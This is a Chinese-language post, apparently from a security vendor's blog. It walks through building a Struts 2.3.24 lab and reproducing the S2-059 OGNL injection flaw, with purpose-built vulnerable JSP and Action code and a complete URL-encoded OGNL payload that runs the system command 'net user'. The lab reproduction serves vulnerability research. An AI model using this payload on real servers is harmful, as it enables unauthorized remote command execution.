提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      Struts2环境搭建与S2-059漏洞复现
      发布时间:2021-04-16 阅读次数: 214 次

      环境搭建


      IntelliJ IDEA2020.1.4

      Windows 10 64位

      Apache Tomcat 8.5.59

      Oracle JDK 1.8.0_102

      Struts 2.3.24


      下载安装最新版本IDEA :https://www.jetbrains.com/zh-cn/idea/download/#section=windows,这里下载的是Ultimate版本,安装激活过程网上查看教程即可。


      IDEA安装完成新建一个Struts2项目,并选择set up library later,直接下一步进入工作台。


      下载Struts2所需jar包:http://archive.apache.org/dist/struts/2.3.24/,下载完成后解压压缩包,将整个lib文件夹复制到项目路径/WEB-INF/lib下。


      也可以只复制基础包,如下


      右键点击lib目录,选择Add as Library


      在src目录下新建一个pakage,然后新建一个测试action


      修改struts.xml,配置action


      点击File->Project Structure->Artifacts,Output layout,右键Put into Output Root


      点击Run->edit Configurations->add Artifact,添加项目,保存。


      Index.jsp页面如下


      启动tomcat,显示hello world,环境搭建成功


      Struts2 S2-059漏洞复现


      1、漏洞介绍:


      2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。


      2、漏洞复现:


      Jsp页面代码:


      <%@ pagecontentType="text/html; charset=UTF-8"%>

      <%@ taglibprefix="s" uri="/struts-tags"%>

       

         Hello World

       

       

         testurl

       

      Action代码如下


      packagecom.s2059.test;

      public classTestAction {

         private String payload = null;

         public String getPayload() {

             return payload;

         }

         public void setPayload(String payload) {

             this.payload = payload;

         }

         public String execute() throws Exception{

             return "success";

         }

      }


      访问

      http://192.168.99.145:8080/s2_059_war_exploded/index.action?payload=1


      将payload替换为ognl表达式,如%{1020+4},进行url编码

      访问

      http://192.168.99.145:8080/s2_059_war_exploded/index.action?payload=%25%7b%31%30%32%30%2b%34%7d,可以看到输出结果为1024


      执行系统命令,

      payload:%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('net%20user').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部